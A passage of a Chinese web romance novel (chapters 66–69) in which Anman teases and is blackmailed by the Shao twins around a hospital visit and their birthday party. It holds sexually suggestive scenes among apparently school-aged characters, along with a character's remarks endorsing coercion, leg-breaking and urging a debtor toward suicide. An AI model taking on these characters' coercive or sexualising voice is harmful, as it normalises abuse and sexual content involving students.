一回来就不安分,先是听说了学校里的狂欢日,特地将他们拦了下来,不许离开,搞得差点和他打了一架,事后又当没事人一样来找他们,约好一起来看崔英朗。 一个厚脸皮,脑子有病的家伙。 他心不在焉,没往他身上多放注意力,还是翻了翻手机,和安蔓的对话停留在邀请函,没有下文。 他的手指在安蔓的信息上,轻轻碰了碰,又收了回来,线转移到正在开车的兄长身上,“哥,你那辆黑色的车去哪了。” 韶景戈:“那辆车送去干洗了。” 他哦了一声,好奇,“我记得不脏啊,你前几天才开过。” 韶景戈目视前方,手握方向盘,“嗯,前几天弄脏了。” 韶景荻:“真是太巧了,听说你还弄脏了一套衣服?” 韶景戈平静地开口,“是的。” 他在心里啧了一声,没有继续追问兄长,只是纳闷,“这几天安蔓原本应该在学校,可惜哪儿都没有看到她。” 慕玉泽来了兴趣,漂亮的眉眼轻轻眯起,“就是那个校花?” “嗯。” “真的那么难追吗?”慕玉泽白皙修长的手指把玩着高脚杯,笑道,“还是你们手段太温吞了,不然直接拿钱砸吗,砸不了,把腿打断,人也不会跑。” 韶景荻笑眯眯开口,“你不懂,强取豪夺有什么意思,就是要你情我愿才最有趣。” 慕玉泽:“真的吗,哪怕和她你情我愿的不是你?” 韶景荻不笑了,“你脑子里又冒出什么坏主,我警告你,不要乱想。” 慕玉泽弯了弯眼睛,玻璃似的蓝眼睛里闪动着兴致盎然的光,那是感兴趣的信号,“不是你说的吗,只要你情我愿就可以。至于和她你情我愿的对象是谁,根本不重要。” 韶景荻皱了皱眉,这个家伙虽然和他们从小一起长,同样是坏事干尽,但其中有一点不同。 他们几个纯粹出于感兴趣才搞破坏,而对方不是,他从破坏里得了不到任何快乐,家庭既不痛苦也不扭曲,父母都是好人,但偏偏不知道从哪里扭了性格,天生就爱搞干坏事,欣赏其他人痛苦的脸。 哪怕他不提,这些日子以来,对方听到的传闻,已经够让他对校花,生起一些不一样的兴趣。这种兴趣对任何人来说都不算好事。 偏偏慕玉泽家境优渥,长得好看,当过模特,上过封面杂志,有一张经得过大屏幕考验、格外出色脸。又热爱锻炼,体格颇佳。即使性格糟糕透顶,外在也足以迷惑他人,追求者如狂风浪蝶。 韶景荻皱了皱脸,不仅不笑了,表情还不太高兴:“收住你的脑子。” 慕玉泽弯着眼睛,笑呵呵的,“怎么了?难道你担心了,你担心我比你受欢迎?” 韶景荻:“别说这种令人恶心的话。” 闲谈中,他看向窗外,跑车已经到达了医院。 他结束话题,“到了,走吧。记住,别在阿朗面前提到江赫。” 工作人员迎了上来,主动去为他们泊车。几个人走进电梯,选择了最顶层。 不多时,电梯缓缓上行,叮的一声,自动分开。 韶景荻在守在各处的警卫刷了脸,三个人一起来到了崔英朗的病房外,准备先打声招呼。但刚一到,他就发现了不对劲。 病房外面没有人守着,门微掩着,里面没人说话静的吓人,凑近了隐约还能听到古怪的、啾啾水声。 韶景荻身体顿了顿,忽然有些犹豫,但是慕玉泽在他之一前,已经上前一步轻轻推了推门。 病房门开了一点点,但足够让人能够从门缝里看到里面的光影。 崔英朗一身蓝白条纹,坐在病床边,头微微仰着,正在和人有一下没一下的接吻。 身上坐着一个女生,浓密的头发散在肩膀上,随着她的动作微微晃动,两只手揽着崔英朗的脖子,衣服非常紧,随着动作微微卷起,露出腰侧雪白的皮肤。 她骑在崔英朗身上,跨坐着,包臀裙微微掀起,卡在在大腿根部,黑色丝袜将腿肉裹的肉感十足,高跟鞋滑到了脚尖,随着她的动作一晃一晃。 崔英朗的手指已经探到短裙里,他的蜜色的皮肤,和大腿上黑色丝袜对比鲜明,手背青筋隆起,似乎在忍耐着什么。 韶景荻的脑袋轰隆一声,他深呼吸了一下,脑子嗡嗡作响,想要退出去,可旁边的慕玉泽,却突然抢先咳嗽了一声。 崔英朗猛然抬头,警惕地向门外看去,准确地隔着眼罩盯住几人,“谁!” “是我啊。还有韶景荻、韶景戈他们两兄。阿朗,我们来看你了,你感动吗?好久不见。”慕玉泽热情开口。 崔英朗皱着眉头使劲回忆了一下,从热的发烧的脑子,勉强唯一出这么个人,“慕玉泽?” 慕玉泽向前一步,开玩笑的:“是我,你现在才想起我,真让我伤心。” 崔英朗面无表情,手指往外面一指,厉声道,“管你是谁,全部给我滚出去!” 他试图把安蔓拉到身后,手指扯过旁边的被子盖在她身上,脸上有被打扰到的不悦,情绪十分糟糕,心情更是懊恼。 看不见就算了,他现在连人都不知道在哪里。这种要命的时候,偏偏才把助理赶走,连个守门的人都没有,让这几个人看见了! 心中的危机感更强,想恢复眼睛的欲望越发强烈,占有欲混杂的警惕心,让他格外不爽,“滚!” 旁边,安蔓被崔英朗挡在一边,衬衫的领子被完全解开,她没穿胸衣,浓密的黑发垂下,遮掩了胸口大片春光。 脸蛋气色极佳,像是吸满了汁水的海棠花,饱满嫣红,艳丽逼人。嘴唇红通通的,泛着水光,有点肿,像是在刚才被人没完没了地反复啃咬。 她弯着嘴角,慵懒地靠在崔英朗身边,手指扯住裙摆,一点点向下拽,拖着白色的被子盖住了身体,然后拽着衬衫一颗颗的向上扣,眼睛直勾勾地望着韶景荻,无声的开口。 “你好啊,哈尼。” 崔英朗按了响铃,震耳欲聋的声音响彻了整个病房:“滚出去!”. 韶景荻带着兄长,和一个闲的无聊惹事的神经病,退出了病房,等他们整理好。 他的揉了揉眼睛,有点困惑,刚才的一幕像是直直的印在他的眼睛里,反反复复的。特别是安蔓望过来时,那张明媚又潮红的脸。 有种说不出的色气。 他心里痒痒的,又莫名其妙有点堵,余光瞥见了慕玉泽跃跃欲试目光,“你干什么。” 慕玉泽眼睛闪烁着亮光,“真漂亮。” 不用他说,在场的所有人都知道这件事。简直是一句废话。 慕玉泽漂亮的眼睛眨了眨,兴致勃勃开口:“这么漂亮的人,配阿朗那种疯狗,不是可惜了?他脾气那么暴躁,又爱发火,又爱揍人,和他交往多浪费啊。他们确定关系了吗?” 韶景荻呵呵一声,不太高兴,“没有。” 慕玉泽回忆了一会:“我想起来了,她是不是阿朗从阿赫手里抢到的?没在一起,那就更好了。” 韶景荻懒得搭理,这个心理扭曲的家伙,不远处,两个助理大概是接到了通知,匆匆忙忙赶了过来,对着几人一鞠躬,“韶少爷,慕少爷,请稍等。” 助理们守在门外坚持了一会儿,等到了通知才重新开门,将几人引了进去,“抱 歉,几位,少爷心情不好,身体不舒服,你们多担待了。” 韶景荻:“没事。” 几人重新走进去后,室内已经恢复如初,完全不见刚才暧昧色气的场景。 崔英朗面无表情,坐在病床上,眉目阴戾,根本摁不住将几个人暴揍一顿的心情,“你们来干什么。” 韶景荻目光忍不住往安蔓的方向瞄了一下,又立刻收回来,笑容灿烂道,“……唔,其实没什么大事,我们只是想来看一下你。你还记得玉泽吗?他从国外回来了,最近要重新转回德川,我们又可以一起上学了。” 崔英朗呵呵了一声,听起来并不高兴,“和我有关系吗?” 安蔓听到这个原著里,大反派的名字,抬起头,好奇地朝三人中最陌生的那个看去。 他金发蓝眼,非常白皙,全身缺乏色彩,唇角有一颗小痣,嘴唇微翘着,漂亮又清纯。身姿却十分挺拔,大概有1米9,就能够第一时间吸引所有人的视线,让人没法不注意到他。 毫无疑问,他是几个人中,长相最出色的一位,出色到没有人能够忽视他的存在。能看出来,身材很好。 也非常符合安蔓的审美。 她真的很喜欢这一款长相! 金发蓝眼,缺乏色素的脸蛋,漂亮立体的外貌。 但是考虑原著中,他扭曲又爱惹事的心理,这个长相的吸引力相对下降了许多。 崔英朗面无表情:“没兴趣,不感兴趣。你不在外面多待几年,这个时候回来干什么?算了,不用跟我说了,我对你的幸福历程不感好奇,你把自己家里的事搞好再说。” 慕玉泽在一年前转学,主要的原因便是因为家里的工程出了事故,死了很多人,事情蔓延的非常广,风暴席卷,将慕家所有人都搅了进去。 最麻烦的是慕玉泽本人的外形、长相、身份,也统统曝光了。他本来就是模特,经常出境,粉丝众多。事情曝光了之后,将他卷进了风暴,干脆出国游玩散心了。 后来事情虽然调查出来,是慕家政敌干的,但他本人也一直在国外,没兴趣回国再参与这个烂摊子,到处去旅游,惹事生非,参加各种比赛,探索各地的美景。 在这种时刻突然回来,不管是什么原因他都不感兴趣。 崔英朗忽然又想起刚刚的事情,耳朵一阵红了一下,手指酥酥麻麻。 怎么……不知不觉又在安蔓的引诱下做了这种事!他心里根本不想做……这种事的。 这种男女之间的事,应该在比较私密的场合,最好在两人确定了关系,甚至是在订婚的前提下才能干的。但是他几次三番在安蔓的引诱下,越过了边界。 更重要的是,居然还被看到了。 崔英朗下颚绷紧,眉目冷峻,声音更加厌烦,手指指向门外,“既然看完了,你们就走吧,我对你们的事情不感兴趣,更想好好养病。你们就别打扰我了,滚蛋。” 韶景荻耸了耸肩,现在的情况很显然并不欢迎他们,他只能无奈道,“行吧。我们那先走了,阿朗,下次再来看你。” “走吧,别愣着了,玉泽。” 韶景荻想要离开,为了预防意外,临走前将慕玉泽连推带拉,往外面推,走着走着却忍不住回头看了一眼,却见安蔓的目光盯着旁边的一个角落,表情求助。 韶景荻好奇的看了一眼,发现那个地方好像堆着什么东西,往旁边迈了两步,蹲下,手指攥着那个布料,忽然僵硬起来,一股热气往大脑冲。 ……那是安蔓的蕾丝绑带珍珠胸衣。 黑色的,边缘镶嵌着透明的蕾丝花边。 第67章 第67章还没走 67. 崔英朗的头往外抬了抬,敏锐道,“还没走?” 安蔓恶作剧成功,在心里笑了半天,眯起眼睛,将下巴放在崔英朗的肩膀上,无声地对韶景荻弯起嘴角。 这对戏精兄弟,她早就看不顺眼了。两个人互换的身份耍她,简直把人当傻子玩呢!真让人讨厌。 她故意吐了吐舌头,鲜红的舌尖在雪白的齿间探出,缓慢舔过唇角,抛出一个媚眼,娇声娇气地告状,“是韶副会长,他还没走。” 崔英朗知道韶景荻曾经转发他的动态,宣布要抢安蔓,扯了扯嘴角,嘲弄,“还不走,等着看我们给你表演?” 韶景荻僵硬地攥着那块布,进退不得。 只能呆视安蔓,表情有点茫然。 那一小块布料,又软又滑,烫手的要命,偏偏扔又扔不得,收起来又很奇怪。最后只能进退不得地握在手里。 安蔓笑的更恶劣了,伸出一根手指头,放在唇边,比了一个:嘘。 韶景荻反应过来,忽然脸色爆红,上前一步,抬手想要还给她,又在她大笑的声音里呆呆地立在原地。 崔英朗反感皱眉,恼怒道:“还不滚!” 韶景荻往外看了一眼,他哥和慕玉泽还没走,两个人见他没跟上,停下来,奇怪往里面看。 他脑袋空白,下意识把布料往口袋里塞,塞完才意识到自己做了什么,磕磕绊绊,找了个借口,“我是,那个,想给你送个请帖,阿朗,我和我哥想邀请你来参我们的生日宴会。” 崔英朗毫不客气,“你把请帖转交助理。” 韶景荻只是随便找了个借口,现场哪里拿得出来东西:“……我没带。” 崔英朗不耐烦了:“我让助理跟你去拿!” 安蔓坏心眼地附和,“重要的东西要收好,怎么能不随身携带呢。” 韶景荻呆呆地看着她,整个人红成了西红柿。 他不知道怎么理解的,伸手搓了搓脸,深深的吸了一口,手忙脚乱地把那小块黑色布料在口袋里塞好。 那块布料沾了安蔓身上的香水味,又软又滑,手指触碰到,开始携带同样的气味。 他脑袋发晕,手心出汗,塞了几次,才在口袋里放好,难得的说不出话来,呆立几秒,说了一句“我走了,阿朗”。 接着同手同脚地退了出去。 安蔓笑得更大声了,崔英朗困惑,“你在笑什么?” 安蔓笑得全身发抖,“韶景荻好搞笑啊。” 崔英朗没明白她的意思,但对她声音里的情绪很敏锐,情绪瞬间阴沉下来,冷笑开口,“什么意思?你们两个在我眼皮子底下眉目传情,他讲了什么笑话,又把你逗笑了?混账!你就是这么陪我的?” 安蔓软绵绵地撒娇,“哎呀,怎么又生气了,崔少爷,你好容易吃醋呀~” 崔英朗被她娇滴滴地声音,喊的耳朵发红,她在那种时候也最喜欢这么喊,故意捏着声音,掐着嗓子,摆着腰喊崔少爷,不要了。 崔英朗揉了揉,手心发烫:“你好好说话!不要扯开话题!” 安蔓不改,还是用那种嗲嗲的语气,“崔少爷,我想回房间一趟。” 崔英朗瞬间想到她刚刚的笑,呵了一声:“你想去找韶景荻,就这么忍不住……” 安蔓打断他,“不是。”她低笑一声,悄声道,“我的胸衣掉了,我回房间穿一下。” 崔英朗瞬间闭嘴了。那件衣服怎么掉的,他比别人都更知道,细细的绑带,系在安蔓雪白纤细的脖子上,轻轻一拉就松了,再一扯,一小块软绵绵的镂空蕾丝布料,就从……滑了下来。 布料落在两人中间,不知不觉滑到床上,又不知道什么时候继续往下掉。 手感滚烫,逼人,绵软。 疯了……怎么又说这种话! 他面红耳赤,半响,哼哧出一句,“你可以在这里换……” 话一出口,又闭了嘴,胸口起伏了一下,表情僵硬,“去吧,快去快回。” 安蔓在他耳边低笑了两声,站起来,走出病房。 往外走了一会儿,果然在不远处的拐角,看见了等待已久的韶景荻。 这对双生子握着她的把柄,真让人讨厌。 安蔓非常,非常,非常讨厌,自己受制于人。 她不确定对方知道了多少,但有 一点是肯定的。 ——她没有原主的记忆,和原主表现的完全不一样! 这个把柄被握在这对兄弟身上,加上这两兄弟互换身份,耍着她玩,已经狠狠踩爆了她的雷点。这对乐子人,不管是在设定里还是在实际中,游戏人生,把一切都当成玩具,最重视的就是彼此。 太团结了,安蔓想了半天也想不出来,怎么分化他们。 好烦。 好想看他们反目成仇。 她笑眯眯地凑了过去,“韶小狗,你好呀,你的同伴呢。” 韶景荻抬头看了她一眼,低下头,脸红的冒烟,“在楼下等我。” 刚刚他将两个人送去电梯,却突然止步门口,表示自己漏了东西。韶景戈不知道发生了什么,站在电梯里和他对视一眼,什么都没说,还帮忙把慕玉泽拉走了。 韶景荻眨了眨眼,将手指伸进口袋,他等了一会儿,就是为了还这个,“还你……” “怎么还。”安蔓眨眼,“你帮我穿吗?” 第68章 第68章生气 68. 韶景荻眼皮抖了抖,脸更红了,抬眼看她一眼,又垂下,长长的睫毛颤动一下,仿佛翩飞的蝴蝶。 他长得好,唇红齿白,脸一红起来,特别明显,“还在医院呢……” 安蔓就知道他不会答应。 上次在医院翻车的记忆,太惨烈了,鬼知道哪里会不会蹦出一个摄像头,他答应安蔓也不干。 不过这不妨碍她现在故作惋惜,伸出手指,戳了戳他的肩膀,软绵绵地唾弃他,“胆小鬼。” 她打开了好感页面,看了一眼。 [韶景荻:60。] 可恶的男人,表面上那么心动,实际情况还是被好感暴露了! 不愧是乐子人,爱装,三分羞涩可以演到八分。 她又不高兴了,“我问你,别人送你礼物时,应该说什么。” “谢谢?”韶景荻歪了歪头,有点困惑。 “不客气。”安蔓又问,“然后你会做什么。” 韶景荻反应过来,睫毛抖了抖,脸颊更红了,手指不自觉的往口袋里按了一下,讷讷道,“收下礼物。” 安蔓双手抱胸,漆黑的长发遮在胸口,衣服很紧,她没穿胸衣,韶景荻回答的时候,有点不敢低头,生怕看到了哪里。她落落大方,眼睛忽然恶劣地弯了弯,又戳了一下他的胸口,“假正经。” “既然把礼物收下了,就不该还给我,知道吗?” “笨蛋,你应该做的是投桃报李,还我一件礼物。” 韶景荻脸更红了,忍不住伸手摸了摸脸,眼睛水汪汪的,像只小狗,“请问安小姐,我应该回什么礼呢?” 安蔓细声细语,凑的更近了,“回答韶先生,当然是同品种,不同款式的礼物啊。” 韶景荻眼神更乱了,他竭力想要避开,将目光固定在安蔓的脖子以上,完全不向下看一眼。 其实并不暴露,她头发浓密,又多又黑,如瀑布般倾泻在胸口,将春光彻底遮掩。韶景荻却忘不掉在病房里看到的,思路随着安蔓的回复,变得更加凌乱而下流。 回什么。 回一件……蕾丝胸衣吗? 韶景荻脸红红推辞:“这样不太好吧。” 安蔓充满恶意的笑了,故意慢吞吞地撩了撩头发:“有什么不好的?对了,必须是你自己选的,亲手挑的礼物,才有诚意。” 韶景荻吸气,“这样太……” 安蔓笑容甜甜地威胁:“如果不是你自己选的,被我发现了,我就再也不理你了。” 韶景荻现在这种样子,又让她想起来上次狂欢日过后,在跑车内,他哥假惺惺的神色。 “真装。”安蔓慢悠悠道,“还有,你哥的演技真烂。” 韶景荻刚开始越听脸越红,听到最后一句表情却冷静下来,困惑问,“我哥?” 安蔓上前一步,伸手撩起他的头发,粗鲁的往后抹,让他将整张脸清俊的眉眼都露出来,接着收回手,退后一步,上下一扫。 彻底露出眉眼后,他的五官成熟起来,从那种带点顽劣的青涩变得成熟而稳重,如临风玉树,挺拔俊秀。 安蔓又想到自己那天被骗,更不高兴了,毫不留情的奚落,“多去上上演技课吧,太烂了,你哥那种破演技,简直让人一眼就能看出来,拙劣。” 韶景荻愣了愣,“上次,你看出来了?” 安蔓理直气壮,“当然!” 韶景荻皱了皱眉毛,灰眼睛直勾勾地盯着她,莫名重复,“一眼就看得出来?” 安蔓越想越生气,要不是系统提示她真看不出来,还不得被这两兄弟骗惨,“之前从来没有人看出来,不会是大家为了配合你们装的吧。哎呀,真有意思,小狗狗你怎么不高兴了,不好意思,是我说的太直接,伤你心了吗?” 韶景荻微微怔忪,低下头,深深地看她一眼,眼神不再羞涩,反而冷漠而审视。 一直挂在他脸上的笑容消失了。 他淡淡说,“……那么好认吗?” 安蔓冷笑鄙夷,“你们脑子有坑吗?连三岁小孩都不会玩的把戏,天天玩的那么起劲。” “你在生气?” 韶景荻一句话打断了她的回复。 他声音笃定,若有所思,仿佛一下抓住了什么,喃喃自语,“你在……对我生气?因为我做了什么,或着什么事惹你发火了?还是因为别的事迁怒,或者,因为那天我没守约,我哥替我来了,你不高兴?唔,如果是这个原因的话,我跟你道歉,但是——” 韶景荻弯了弯嘴角,灰色的眼珠,却没什么波动,冷静地观察她的脸色,自上而下缓慢观察,不知道看到了什么,他忽然又笑了,“……看来不是这个原因,也是,如果只因为这个,你早就发火了,不会留到现在——看来是其他因素,我做了什么让你不高兴了是吗?” 安蔓刚刚骂爽了,没料到他话锋一转,既不脸红,也不害臊了,声音透着一股出奇的平静。 她略感不妙,“等等!” 韶景荻停下,“什么。” 安蔓不想就这么撕破脸,随口编道,“谁让你狂欢日那天不来!” 韶景荻注视着她的眼睛,微微一笑,“撒谎。” 安蔓更感不妙,不明白刚开始的奚落,怎么突然发展到这个地步,“等——” 话没说完,韶景荻却仿佛起了劲儿,开始一点一点,饶有兴致地分析起来,“你这么生气,明显不是小事。排除掉刚刚那些可能,你脾气这么差,又不爱忍,说明是最近发生的。唔,最近,我好像没怎么得罪过你吧,公主殿下。” 说到最后4个字的时候,他微微加深语气,笑容忽然变深了,“原来如此。” 安蔓:“……” 韶景荻徐徐喟叹,“你发现了呀,比我想的快一点。” 安蔓脑袋嗡地炸了!心跳突然开始突突乱跳,声音鼓噪又响亮,清晰得像是在耳边跳动似的。全身血液仿佛在一瞬间凝固了,阵阵发冷,她漆黑的眼睛和他对视着,面无表情,手指忽然攥紧,“我不知道你在说什么。” 韶景荻殷红的嘴唇微微咧开,露出一口寒气森森的白牙,忽而愉快地笑了起来,“甜心,你演技也不是很好嘛。” 形势骤然颠倒,安蔓表情更糟糕了,只想把系统拖出来扁一顿。 身份都疑似要被发现了,这合理吗?! 她现在不想逗他了,也不想奚落他了,只想恨不得迈开脚步,离他远远的。 这段时间,韶景荻表现的太温顺,服从,予取予求,俨然一个冤大头。她都快忘了他恶劣的本性。 这对兄弟都不是什么正常人,两个都是顶级乐子人,最擅长从一件事发现漏洞,继而狠狠咬住,血淋淋的撕下一块肉。 “你着急了。”韶景荻眼睛愉悦地眯起,黑色的卷发落在额头上,轻轻张开嘴,露出锋而利的牙齿。 他嘴唇发红,牙齿雪亮尖锐,鼻子翁动,仿佛尝到猎物鲜血的白鲨,“失忆?不像,性格都变了,简直像是变了一个人。唔,精神分裂,人格障碍?” 他的手指忽然伸出,想要触碰她的脸颊。 安蔓退后一步,面无表情的看着他。 “甜心,你更生气了。”韶景荻抱歉道,“是我说中了,还是说的接近真相了?” 安蔓总感觉,再留在这里,老底都要被扒光了,她绷不住了,表情彻底冷淡下来。 她的笑容也消失了,“你到底想说什么。” 韶景荻笑眯眯地收回手,歉意十足,“没什么,只是想邀请你来参加我的生日宴会。阿朗应该不想让你来,但如果你不来,我真的会很遗憾。” 安蔓:“你在威胁我?” 韶景荻:“你可以这么认为。” 安蔓面无表情,“那我是不是还要给你送礼物?” 韶景荻摇头,“你已经给我送了一份。” 安蔓想起刚刚的逗弄,气闷,“意思是我空手来就行?” 韶景荻微笑,“是的,而且我也还会遵照你的要求,送你一份回礼。” “当然,如果你乐意的话,可以给我哥添上一份礼物。”他想了想补充道。 安蔓烦闷,事情变得一点不好玩,不有趣起来。 把柄还被握在人家手里。 她强忍着,没有给他一个耳光,转身就走的冲动,“还有吗?” “暂时没没了。”韶景荻想了想,安慰道,“别生气,我本意不是惹你发火,甜心,消消气。” 回应他的,是安蔓毫不犹豫,甩头就走的背影。 安蔓一走进陪护间,就把门锁死了,喝了一口水就开始拷问系统,“你们没有什么保护机制吗?比如别人知道秘密自动失忆受伤绞杀什么。” 系统:“…没有,我们是文明系统。” 安蔓:“废物!”她生了一会儿闷气,踢掉鞋子,躺在床上,把头埋进枕头蹭了蹭,怎么想怎么不高兴。 这对兄弟知道了她的秘密,好感还不够,还撕破了脸。 不管只知道多少,都是个隐患,她必须掌握对方同等的秘密,才能稍微安心一点。 想到这里,她又开始拷问系统,要求它吐点有用消息,“说话!” 系统叫苦不迭,它是一个没有什么功能的系统,只能老老实实的在文里,翻阅有用信息。这对双生子从小被家族金尊玉贵,纵养长大,从出生开始,就几乎没有分开过,无论是衣食用度,还是朋友亲人,都一模一样,仿佛一体。 比起兄弟,更像一对连体婴,他们默认一切共享属于彼此,重视对方,重视家人。从6岁开始,双生子第一次因为好奇而互换身份,调皮体弱的弟弟代替哥哥去上辅导班,而稳重的哥哥则放肆地疯玩了一天。 期间父母、亲戚、佣人、管家,没有一个人发现他们的秘密,从那以后他们就上了瘾。迄今为止,如同一体,从来没有人发现他们互换过。 安蔓听着听着,忽然若有所思,恼火道,“韶景荻今天的反应有点不对劲。” 她自己不对劲,是因为秘密被发现了,又在医院这种环境,不自觉恐慌。 但韶景荻这种人,又爱装又会玩,平时温顺乖巧,性格很好,没道理毫无预兆,毫无铺垫的在她面前揭露这事。按照他的性格应该握在手里,当成把柄……他的表现是从哪里开始不对的? 安蔓喃喃,近乎困惑:“因为我骂了他哥,不对不对,因为我骂了他们演技差?演技差??” 她挠了挠头,感觉脑子有点痛,好像想到了什么,又没太搞清楚对方的脑回路。 她眼睛眨了眨,浓密的睫毛随之一抖,漆黑的眼睛在灯光下泛起点点波光,渐渐平静下来,回忆刚刚的事,一点点分析。 “难道是因为我……认出了他们?” 系统表示赞同,“有可能是因为这个,书里都说了,从来没有人认出两人,这件事可能对他们意义不同。”. 中心医院,一楼。 电梯门自动敞开。 韶景荻走了出门,长长的大衣在风中微微晃荡,笑容阳光逼人。 他知道自己情绪不太对,莫名低落,怅然,还有一种隐晦的微妙滋味。 他和韶景荻,从小就是一体的,共享一切,甚至共感。世界分为他们俩和其它人,这种滋味是其他人难以理解的。 这是第一次,有人识破了兄长,认出他们。 刚踏出电梯,在一楼等候已久的两人迎了上来。 慕玉泽缓慢踱步,慵懒得如同一只名贵的金丝猫,“这么慢?” 韶景戈也走过来,眉间微微蹙了蹙,视线在他脸上扫过,稍稍停顿,“发生什么了?” 韶景荻抬手压了压头发,将刘海放下来,“她应该发现了游戏的事了。” 韶景戈微微一愣。 韶景荻目光在兄长,和他一模一样的,脸上扫了扫,莫名有点郁闷,“到底怎么发现的啊。” 他还想说什么,刚刚张口,又闭上了,不太高兴,“算了,今天真无聊。” 两兄弟之间颇有默契,很懂适可而止,知道什么要问,什么不问。 反正无论如何,不管是什么事,彼此最后总会知道。 韶景荻温声道,“好,你现在在想回学校?” 韶景荻摇头。 “想回家?” 韶景荻将手伸进口袋里,又碰到了那团软绵绵的布料,光滑绵柔,绣着透明的蕾丝花边。 他嗓子莫名噎了一下,“不回,等会去逛逛商场,买点东西。” 韶景戈:“好。我给你叫车。” 慕玉泽抬手,“我也去!” 韶景荻不管他,坐车到了商场,对方却一路跟了过来,随口问,“你家的是不是才解决,这么有闲工夫出来玩?你管家的儿子昨天还托人找你,拖到了我这儿,好歹是一起长大,伺候你那么多年的情谊。” 慕玉泽金发蓝眼,笑起来清纯漂亮,像是油画里的悲悯善良的纯洁天使,说出的话却恶毒极了,让人心里发凉,“那贱货还没死呢。” 韶景荻耸了耸肩,“听说他爸是被买通了,但他不知情。反正话是这么说,想让你通融一下赔款期限,说实在没钱了。” 慕玉泽声音清晰悦耳,温柔至极,内容却凉薄透顶,“那怎么办,该卖肾卖肾吧。反正他那个长相,卖屁股也没人要。” 韶景荻不是很在意,只是随口提一句,“反正你最近注意点吧,我听说最近外面乱,阿朗他爸都忙起来了。” “这个通融,那个求情,我家倒闭算了,还赚什么钱啊。”慕玉泽似笑非笑,“跟他说,去跳楼,我就把债务免了。” “反正你注意点。”韶景荻心不在焉的应 了一句,走进女装区。 慕玉泽出国一年,时间不短,回来时许多款式已经更新换代,他感兴趣的在旁边跟着逛,“你要买衣,早说啊,我是模特,可以给你参考一下。给谁买的。” 韶景荻懒洋洋地,也抬不起什么劲:“就今天那个。” 慕玉泽随手拿起一件女装,笑容甜蜜漂亮,“她呀,好挑,长得漂亮身材好的人,不管穿什么都好看,什么风格都能适应。随便拿好看的就行。” 他们逛了一会儿,杂七杂八的买了一大堆裙子,和配套的首饰项链。 慕玉泽又跟着逛了一会儿,逐渐失去了耐心,“我先走了,刚刚好像看到阿赫了。” 韶景荻也不挽留,“你去吧。” 等看到他的背影消失在视线里,他吩咐随行的顾问,“将这些全部包起来,送到韶家。” 顾问应好,便叫人开始打包。 所有东西被分门别类的,打包装入车内,将由专职司机运送到韶家。 韶景荻又逛了一会儿,将女装区整个逛了一圈,再慢了下来,手指又放进口袋里,摸到那片软绵绵的布料。 今天安蔓生气,他也不高兴。 但生气归生气,毕竟答应过要还礼。 不还,说不定她更要生气。 韶景荻咳嗽一声,喉咙不自觉发干,“你们这里还有其他的女装店吗?” 销售顾问有点疑惑,“崔少爷,我们这里的成人女装都在这里,定制在楼上。” 韶景荻脸颊一点一点变红,即使以他的厚脸皮,也不想顶着别人看变态的眼神,慢吞吞地开口,“我想买的不是外面穿的衣服。” “里面的……有吗。” 销售顾问努力收起眼神里的困惑,嘀咕有钱人都是这么变态吗:“有的,请问是挑给女朋友吗。” 韶景荻快速嗯了一声。 顾问又问:“请问你有她的尺码吗?” “没有。” 韶景荻食指勾了一下,一句话说的极为缓慢,脸色又热又烫,僵硬极了,“怎么看,尺码。” 第69章 第69章69.安蔓不高…… 69. 安蔓不高兴的情绪,一直维持在双生子生日派对当天。 从早上开始,她就在在衣柜里挑衣服,最后挑挑拣拣,选了一条抹胸长裙。 还没穿好,手机就开始一条一条地弹着消息。 栗纯和韶景荻搭上了线,被邀请参加,早早到了,同时不忘初心,跟安蔓分享消息。 “这次宴会的地点,在韶家的庄园,这里很大,特别豪华,到处都是人。这个时间点来庆祝的宾客不多。” “韶家的长辈,好像原本都不在家,为了今天两个少爷的生日会回回来了,豪车把旁边的停车场都塞满了一半。” “韶家订了一个很大的22层蛋糕,今天天气很好,派对在地点室外,风纪会的人全去帮忙了,我也准备去搭把手了,等下和你说。” 安蔓灭了手机,心情很不舒服。 栗纯在她离开学校后,很长一段时间没联系了,现在突然大献殷勤,还描述的这么详细,明显是有人让她怎么做的。 让她这么做嗯,除了韶景荻别无他人。 栗纯又发来一条语音:“蔓蔓,今天你会来吗?” 安蔓没有搭理她,直接拿起手机,给韶景荻打了个电话,不高兴说,“你这是在干嘛?让栗纯给我施加压力?” 韶景荻笑眯眯的,声音一如既往的愉悦,若无其事,“并没有。我只是将她请了过来,仅此而已。顺带一提,上次你让我给你买的回礼,已经准备好了。” 安蔓憋着一口气,韶景荻到底想干嘛! 上次撕破脸皮,就差直接说她不是本人了,好几天没联系,一转眼,又像是什么事情也没发生过一样。 韶景荻拿起手机,轻轻放低了声音,似笑非笑,“甜心,你很紧张啊。” 安蔓冷冷道:“想说什么直说。” 韶景荻安慰道,“你发现了我们的秘密,我也发现了你,我们扯平了,不是吗?你在紧张,是担心我将它说出去?” 安蔓更不耐烦了:“有话直说。” 韶景荻声音又轻又柔,带着淡淡的笑意,压低了声音,显得十分悦耳,“今天,是我和韶景戈的生日派对,我们会穿一样的衣服,做一样的发型。你说你认得出我们,我真的很好奇,这件事情是真是假。不如这样,今天我们来玩个游戏吧?” 他稍微停顿了一下,将声音压的更低了,简直像是憋着什么坏主意,“给你三次机会,如果你认出我们,我就给你保密,然后真做你的狗~” 安蔓觉得他真的很神经。 大概是上次被她戳破,受到了刺激,于是又想出这么一个游戏,还压上了这种赌注。 但是韶景荻保密,为她做狗,两个条件真的诱惑很大。 这对双胞胎乐子人虽然品德低下,但有一个优点,就是遵守诺言,从不说谎。 安蔓整理了下头发,开始换衣服,把手机开了免提,声音冷冷地问,“我不相信天上掉馅饼,如果我没认出来呢?” 韶景荻声音细细的,像是憋不住笑了,“那你给我做狗,也是一样。我买好了口枷,反正我们其中一个,总能用上。” 安蔓听出了他的笃定,心情低落起来:“反正我没有拒绝游戏的权利,是吗?” 韶景荻轻轻一笑,“是呀。” 安蔓很烦他,那天撕破脸之后,他的语气就变了,也不装温顺可爱了,总透着一股阴阳怪气,“那你还问我干什么!有病。” 韶景荻被挂断电话,做了个哇哦的口型,耸了耸肩,把手机抛开,“又生气了,真不好哄。” 他今天穿了白色西装,头发全部梳齐,露出光洁的头和俊秀的五官,笑起来眼睛微微眯起,眼角向下撇,有一种清纯狗狗眼的意味,瞳孔却透着顽劣。 韶景戈指尖夹了一根烟,走了过来,他发丝微乱,表情却仍稳重而镇定。两个人站在一起,出色又挺拔,如同修长的茂竹,令人赏心悦目。 不远处韶父韶母,不由的看了过来,像是看着两颗亲手栽培长大的幼苗展露风采,目露自豪。 